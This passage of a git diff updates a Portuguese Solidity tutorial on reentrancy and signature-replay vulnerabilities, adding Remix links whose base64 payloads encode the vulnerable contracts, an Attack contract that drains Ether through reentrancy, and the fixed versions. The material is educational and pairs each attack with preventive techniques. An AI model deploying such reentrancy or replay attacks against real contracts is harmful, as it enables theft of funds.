0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/reentrada.md b/src/exemplos/hacks/reentrada.md index db8310a..bb9400f 100644 --- a/src/exemplos/hacks/reentrada.md +++ b/src/exemplos/hacks/reentrada.md @@ -1,6 +1,6 @@ # Reentrada -#### Vulnerabilidade +Vulnerabilidade Vamos dizer que o contrato`A` chama o contrato `B`. @@ -8,7 +8,7 @@ A exploração de reentrada permite `B` chamar de volta `A` antes que `A` termin ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* EtherStore é um contrato onde você pode depositar e retirar ETH. @@ -87,16 +87,16 @@ contract Attack { } ``` -#### Técnicas preventivas +Técnicas preventivas -* Certifique-se de que todas as mudanças de estado acontecem antes de chamar os contratos externos -* Use modificadores de função que impedem a reentrada +- Certifique-se de que todas as mudanças de estado acontecem antes de chamar os contratos externos +- Use modificadores de função que impedem a reentrada -Eis um exemplo de proteção contra reentrada +Aqui está um exemplo de proteção contra reentrada ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; contract ReEntrancyGuard { bool internal locked; @@ -109,3 +109,9 @@ contract ReEntrancyGuard { } } ``` + +## Teste no Remix + +-[ReEntrancy.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkV0aGVyU3RvcmUgZSB1bSBjb250cmF0byBvbmRlIHZvY2UgcG9kZSBkZXBvc2l0YXIgZSByZXRpcmFyIEVUSC4KRXNzZSBjb250cmF0byBlIHZ1bG5lcmF2ZWwgYSBhdGFxdWUgZGUgcmVlbnRyYWRhLgpWYW1vcyB2ZXIgcG9yIHF1ZS4KCjEuIEltcGxlbWVudGUgRXRoZXJTdG9yZQoyLiBEZXBvc2l0ZSAxIEV0aGVyIGNhZGEgZGEgQ29udGEgMSAoQWxpY2UpIGUgQ29udGEgMiAoQm9iKSBuYSBFdGhlclN0b3JlCjMuIEltcGxlbWVudGUgQXR0YWNrIGNvbSBlbmRlcmVjbyBkYSBFdGhlclN0b3JlCjQuIENoYW1hIEF0dGFjay5hdHRhY2sgZW52aWFuZG8gMSBldGhlciAodXNhbmRvIGEgQ29udGEgMyAoRXZlKSkuCiAgIFZvY2Ugb2J0ZXJhIDMgRXRoZXJzIGRlIHZvbHRhICgyIEV0aGVyIHJvdWJhZG9zIGRlIEFsaWNlIGUgQm9iLAogICBtYWlzIDEgRXRoZXIgZW52aWFkbyBkZXNzZSBjb250cmF0bykuCgpPIHF1ZSBhY29udGVjZXU/CkF0dGFjayBmb2kgY2FwYXogZGUgY2hhbWFyIEV0aGVyU3RvcmUud2l0aGRyYXcgbXVsdGlwbGFzIHZlemVzIGFudGVzIHF1ZQpFdGhlclN0b3JlLndpdGhkcmF3IHRlcm1pbmFzc2UgZGUgZXhlY3V0YXIuCgpBcXVpIGVzdGEgY29tbyBhcyBmdW5jb2VzIGZvcmFtIGNoYW1hZGFzCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKICAgIH0KCiAgICAvLyBGdW5jYW8gSGVscGVyIHBhcmEgdmVyaWZpY2FyIG8gc2FsZG8gZGVzc2UgY29udHJhdG8KICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyU3RvcmUgcHVibGljIGV0aGVyU3RvcmU7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfZXRoZXJTdG9yZUFkZHJlc3MpIHsKICAgICAgICBldGhlclN0b3JlID0gRXRoZXJTdG9yZShfZXRoZXJTdG9yZUFkZHJlc3MpOwogICAgfQoKICAgIC8vIEZhbGxiYWNrIGUgY2hhbWFkYSBxdWFuZG8gRXRoZXJTdG9yZSBlbnZpYSBFdGhlciBwYXJhIGVzc2UgY29udHJhdG8uCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGlmIChhZGRyZXNzKGV0aGVyU3RvcmUpLmJhbGFuY2UgPj0gMSBldGhlcikgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IDEgZXRoZXIpOwogICAgICAgIGV0aGVyU3RvcmUuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICB9CgogICAgLy8gRnVuY2FvIEhlbHBlciBwYXJhIGNoZWNhciBvIGJhbGFuY28gbmVzc2UgY29udHJhdG8KICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) + +- [ReEntrancyGuard.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/repeticao-de-assinatura.md b/src/exemplos/hacks/repeticao-de-assinatura.md index 4c41760..958cbc6 100644 --- a/src/exemplos/hacks/repeticao-de-assinatura.md +++ b/src/exemplos/hacks/repeticao-de-assinatura.md @@ -1,22 +1,21 @@ # Repetição de Assinatura -Assinar mensagens off-chain e ter um contrato que requer essa assinatura antes de executar a função é uma técnica útil. +Assinar mensagens off-chain e ter um contrato que exija essa assinatura antes de executar uma função é uma técnica útil. Por exemplo, esta técnica é usada para: -* reduzir o número de transações na chain -* transação sem gás, chamada `meta transaction` +- reduzir o número de transações na cadeia +- transação sem gás, chamada `meta transaction` -#### Vulnerabilidade +Vulnerabilidade -A mesma assinatura pode ser usada múltiplas vezes para executar uma função. Isso pode ser prejudicial se a intenção do signatário era aprovar uma transação uma vez. +A mesma assinatura pode ser usada várias vezes para executar uma função. Isso pode ser prejudicial se a intenção do signatário for aprovar uma transação uma vez. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; -pragma experimental ABIEncoderV2; +pragma solidity ^0.8.20; -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/cryptography/ECDSA.sol"; +import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; contract MultiSigWallet { using ECDSA for bytes32; @@ -66,16 +65,15 @@ contract MultiSigWallet { } ``` -#### Técnicas preventivas +Técnicas preventivas Assine mensagens com `nonce` e endereço do contrato. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; -pragma experimental ABIEncoderV2; +pragma solidity ^0.8.20; -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/cryptography/ECDSA.sol"; +import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; contract MultiSigWallet { using ECDSA for bytes32; @@ -152,3 +150,8 @@ contract MultiSigWallet { 0xa240a487de1eb5bb971e920cb0677a47ddc6421e38f7b048f8aa88266b2c884a10455a52dc76a203a1a9a953418469f9eec2c59e87201bbc8db0e4d9796935cb1b */ ``` + +## Teste no Remix + +- [PreventSigReplay.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7Cgpjb250cmFjdCBNdWx0aVNpZ1dhbGxldCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzWzJdIHB1YmxpYyBvd25lcnM7CgogICAgY29uc3RydWN0b3IoYWRkcmVzc1syXSBtZW1vcnkgX293bmVycykgcGF5YWJsZSB7CiAgICAgICAgb3duZXJzID0gX293bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKAogICAgICAgIGFkZHJlc3MgX3RvLAogICAgICAgIHVpbnQgX2Ftb3VudCwKICAgICAgICBieXRlc1syXSBtZW1vcnkgX3NpZ3MKICAgICkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzMzIgdHhIYXNoID0gZ2V0VHhIYXNoKF90bywgX2Ftb3VudCk7CiAgICAgICAgcmVxdWlyZShfY2hlY2tTaWdzKF9zaWdzLCB0eEhhc2gpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQgX2Ftb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdG8sIF9hbW91bnQpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfY2hlY2tTaWdzKGJ5dGVzWzJdIG1lbW9yeSBfc2lncywgYnl0ZXMzMiBfdHhIYXNoKQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBieXRlczMyIGV0aFNpZ25lZEhhc2ggPSBfdHhIYXNoLnRvRXRoU2lnbmVkTWVzc2FnZUhhc2goKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX3NpZ3MubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYWRkcmVzcyBzaWduZXIgPSBldGhTaWduZWRIYXNoLnJlY292ZXIoX3NpZ3NbaV0pOwogICAgICAgICAgICBib29sIHZhbGlkID0gc2lnbmVyID09IG93bmVyc1tpXTsKCiAgICAgICAgICAgIGlmICghdmFsaWQpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9Cn0=&version=soljson-v0.8.20+commit.a1b79de6.js) +- [SigReplay.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7Cgpjb250cmFjdCBNdWx0aVNpZ1dhbGxldCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzWzJdIHB1YmxpYyBvd25lcnM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGV4ZWN1dGVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcigKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50IF9hbW91bnQsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWdzCiAgICApIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQsIF9ub25jZSk7CiAgICAgICAgcmVxdWlyZSghZXhlY3V0ZWRbdHhIYXNoXSwgInR4IGV4ZWN1dGVkIik7CiAgICAgICAgcmVxdWlyZShfY2hlY2tTaWdzKF9zaWdzLCB0eEhhc2gpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgZXhlY3V0ZWRbdHhIYXNoXSA9IHRydWU7CgogICAgICAgIChib29sIHNlbnQsICkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKAogICAgICAgIGFkZHJlc3MgX3RvLAogICAgICAgIHVpbnQgX2Ftb3VudCwKICAgICAgICB1aW50IF9ub25jZQogICAgKSBwdWJsaWMgdmlldyByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGFkZHJlc3ModGhpcyksIF90bywgX2Ftb3VudCwgX25vbmNlKSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CgovKgovLyBwcm9wcmlldGFyaW9zCjB4ZTE5YWVhOTNGNkMxZEJlZjZBMzc3Njg0OGJFMDk5QTdjMzI1M2FjOAoweGZhODU0RkU1MzM5ODQzYjNlOUJmZDg1NTRCMzhCRDA0MkE0MmUzNDAKCi8vIHBhcmEKMHhlMTA0MjJjYzYxMDMwQzhCM2RCQ0QzNmM3ZTdlOEVDM0I1MjdFMEFjCi8vIHF1YW50aWEKMTAwCi8vIG5vbmNlCjAKLy8gdHggaGFzaAoweDEyYTA5NTQ2MmViZmNhMjdkYzRkOTlmZWVmODg1YmZlNTgzNDRmYjZiYjQyYzNjNTJhN2MwZDY4MzZkMTE0NDgKCi8vIGFzc2luYXR1cmFzCjB4MTIwZjhlZDhmMmZhNTU0OThmMmVmMGEyMmYyNmUzOWI5YjUxZWQyOWNjOTNmZTBlZjNlZDE3NTZmNThmYWQwYzZlYjVhMWQ2ZjM2NzFmOGQ1MTYzNjM5ZmRjNDBiYjg3MjBkZTZkOGYyNTIzMDc3YWQ2ZDExMzhhNjA5MjNiODAxYwoweGEyNDBhNDg3ZGUxZWI1YmI5NzFlOTIwY2IwNjc3YTQ3ZGRjNjQyMWUzOGY3YjA0OGY4YWE4ODI2NmIyYzg4NGExMDQ1NWE1MmRjNzZhMjAzYTFhOWE5NTM0MTg0NjlmOWVlYzJjNTllODcyMDFiYmM4ZGIwZTRkOTc5NjkzNWNiMWIKKi8=&version=soljson-v0.8.20+commit.a1b79de6.js)